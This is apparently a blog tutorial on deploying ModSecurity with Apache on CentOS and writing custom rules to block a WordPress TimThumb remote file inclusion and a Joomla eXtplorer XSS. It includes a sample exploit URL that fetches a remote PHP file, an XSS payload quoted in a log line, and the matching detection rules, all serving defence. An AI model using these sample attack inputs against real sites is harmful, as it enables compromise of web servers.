Use #ModSecurity to protect #web applications against #zeroday #exploits

Whether you're a webmaster responsible for a single project or a systems administrator supporting hundreds of websites on shared servers, you need to pay attention to web security. Hackers manage to find new exploits on a daily basis, and they can cause huge losses for web companies and software developers.

Usually, when researchers find a code vulnerability, they report it to the developers of the corresponding applications. The developers might confirm the problem, but it is not common for them to share details about the exact attack vector until a patch is released. At that time they make an announcement of the problem, describing the vulnerability in detail and providing an update mechanism to patch it.

However, this is not always the way it goes. Sometimes the information for the exact vulnerability leaks before the developers have time to resolve the issue. Then hackers around the world crawl the Internet for the exact application in which the vulnerability is found, and try to take advantage of it.

How to set up ModSecurityZero-day vulnerability refers to vulnerabilities that are exploited on the same day on which they are found. In such cases, systems administrators and security officers do not have time to wait for application developers to release a patch and fix the flaw. They have to take the responsibility and create firewall rules to stop attacks aimed at the servers they maintain. To do so they can use ModSecurity, an open source web server module that works as an application-layer firewall to block malicious queries toward web resources.

ModSecurity is an intrusion detection and prevention system that can be integrated with the Apache web server. To get started using it, first check your server's CentOS version and platform details:

cat /etc/redhat-release
CentOS release 6.4 (Final)
uname -a
Linux test.server 2.6.32-358.23.2.el6.i686 #1 SMP Wed Oct 16 17:21:31 UTC 2013 i686 i686 i386 GNU/Linux

Get the latest EPEL repository package file by executing the command rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm. The easiest way to then install ModSecurity is with the command yum install mod_security.

By default the Apache main configuration file (/etc/httpd/conf/httpd.conf) includes all the additional configuration files from the /etc/httpd/conf.d folder:

grep "Include conf.d" /etc/httpd/conf/httpd.conf
Include conf.d/*.conf

ModSecurity's installation process puts its main configuration file in that folder: /etc/httpd/conf.d/mod_security.conf. Other configuration files that can be loaded from the main one are located in /etc/httpd/modsecurity.d/. Log files from ModSecurity and a record of the requests that trigger the rules are stored under /var/log/httpd/: /var/log/httpd/modsec_debug.log and /var/log/httpd/modsec_audit.log.

After ModSecurity installation, make sure that the security engine is enabled and restart the Apache web server:

grep SecRuleEngine /etc/httpd/conf.d/mod_security.conf
SecRuleEngine On
/etc/init.d/httpd restart

ModSecurity custom rules

Once you have ModSecurity installed and enabled on your server, you should set some rules to block the most common attacks against the web applications you manage. You can download the latest open source core set of rules provided by OWASP (Open Web Application Security Project):

wget http://pkgs.fedoraproject.org/repo/pkgs/mod_security_crs/owasp-modsecurity-crs-2.2.8.tar.gz/fdee278c02d41a1377dc20a616b2f327/owasp-modsecurity-crs-2.2.8.tar.gz

Extract the archive, copy the rules files to the ModSecurity folder, and rename them in the proper format for the ModSecurity tool to work:

tar zxvf owasp-modsecurity-crs-2.2.8.tar.gz
cd owasp-modsecurity-crs-2.2.8
for i in `find . -name "*.conf.*"`; do cp $i /etc/httpd/modsecurity.d/; done
cd /etc/httpd/modsecurity.d/
rename .conf.example .conf *.conf.example

You can edit the files with Vim to become familiar with the core rules and the detailed instructions regarding their usage.

Now let's see how to write custom rules specific for your applications. For test cases we will use WordPress and Joomla, because they are probably the most popular open source content management systems. Hackers usually target vulnerabilities in popular scripts or their extensions because they are installed on many web servers around the world.

For this test case we will focus on one vulnerability in WordPress and one in Joomla, and write ModSecurity rules to block them.

Start by creating the /etc/httpd/modsecurity.d/modsecurity_custom.conf file for the custom ModSecurity rules. Within the file, rule IDs may range from 1 to 99999, and the ID for each custom rule should be unique.

As our test case, we'll use the TimThumb.php WordPress vulnerability. TimThumb is a popular image resizing script, and its vulnerable version has been integrated into many WordPress themes and plugins. Because of the way its parameters are sanitized, the exploit allows pseudo images with inserted malicious code to be uploaded from external sources. For example, a query similar to the following one could be used to upload a malicious file and consequently compromise the account: http://your_domain.com/wp-content/themes/the_outdated_theme/timthumb.php?src=http://blogger.com.malicioussource.com/logo.gif.php. The problem is explained in detail in a Sucuri.net blog post.

If websites on your server use an old version of timthumb.php, you can block the vulnerability with the following custom ModSecurity rule:

SecRule REQUEST_URI "(timthumb|thumb|picsize|image).php\?src=.*php$" "deny,log,msg:'TimThumb.php vulnerability denied access',id:00111"

This rule tells ModSecurity to deny the access (return 403 Forbidden error message) for all requests that include one of four PHP files – timthumb.php, thumb.php, picsize.php, image.php – followed by ?src= in the URI that tries to call a PHP file. The rule has an unique ID, and each hit of the rule will be logged in the Apache error log:

[Mon Jun 09 15:43:10 2014] [error] [client 10.10.11.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "timthumb\\\\.php\\\\?src=.*php$" at REQUEST_URI. [file "/etc/httpd/modsecurity.d/modsecurity_custom.conf"] [line "3"] [id "00111"] [msg "TimThumb.php vulnerability denied access"] [hostname "10.10.11.55"] [uri "/new/wp-content/outdated_theme//timthumb.php"] [unique_id "U5YOTn8AAAEAAAgCIXoAAAAA"]

A similar message will be stored in the /var/log/httpd/modsec_audit.log file.

You can find a detailed explanation of the way to compose custom rules in the official ModSecurity rules documentation.

Restart the Apache server to load your new ModSecurity rules.

Now let's avert an exploit in an old version a popular Joomla extension called eXtplorer. You can read up on the details of the vulnerability, but basically, the cross-site scripting (XSS) vulnerability in version 2.1.3 allows hackers to inject their script's code into several files (application.js.php in the scripts folder and admin.php, copy_move.php, functions.php, header.php, and upload.php in the include folder) through a string in the URL.

Before you start writing the ModSecurity rules you should analyze the attack vectors for a given exploit. In this case you will notice that the malicious requests have two parameters that are repeated in all the variations: com_extplorer andcomponent. Also, some of them include the string script while the others include the string onerror in the URI:

http://site_with_vulnerability.com/administrator/index.php/">

?option=com_extplorer&tmpl=component
http://site_with_vulnerability.com/administrator/index.php?option=com_extplorer&tmpl=component&action=post&do_action=admin

To block the exploit you can use the following ModSecurity rules:

SecRule ARGS com_extplorer "chain,deny,log,msg:'eXtplorer exploit',id:00148"
SecRule ARGS component "chain"
SecRule REQUEST_URI "script|onerror"

A rule followed by the chain parameter works as long as the next rule is also true. Chained rules allow you to simulate AND logic. All the rules must match in order to execute the disruptive action and deny access to the web resource. If the outcome of the chained rules is true, access will be denied and the following message will be written to the Apache error log:

[Wed Jun 11 12:49:05 2014] [error] [client 10.10.11.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "script|onerror" at REQUEST_URI. [file "/etc/httpd/modsecurity.d/modsecurity_custom.conf"] [line "5"] [id "00148"] [msg "eXtplorer exploit"] [hostname "10.10.11.55"] [uri "/joomla/administrator/index.php/%3Cimg%20src=x:alert(alt)%20onerror=eval(src)%20alt=XSS%3E"] [unique_id "U5iIgX8AAAEAAAWMH2QAAAAA"]

As you can see, ModSecurity's ability to use custom rules to block web applications' vulnerabilities can be a powerful weapon against zero-day exploits and other application vulnerabilities.

source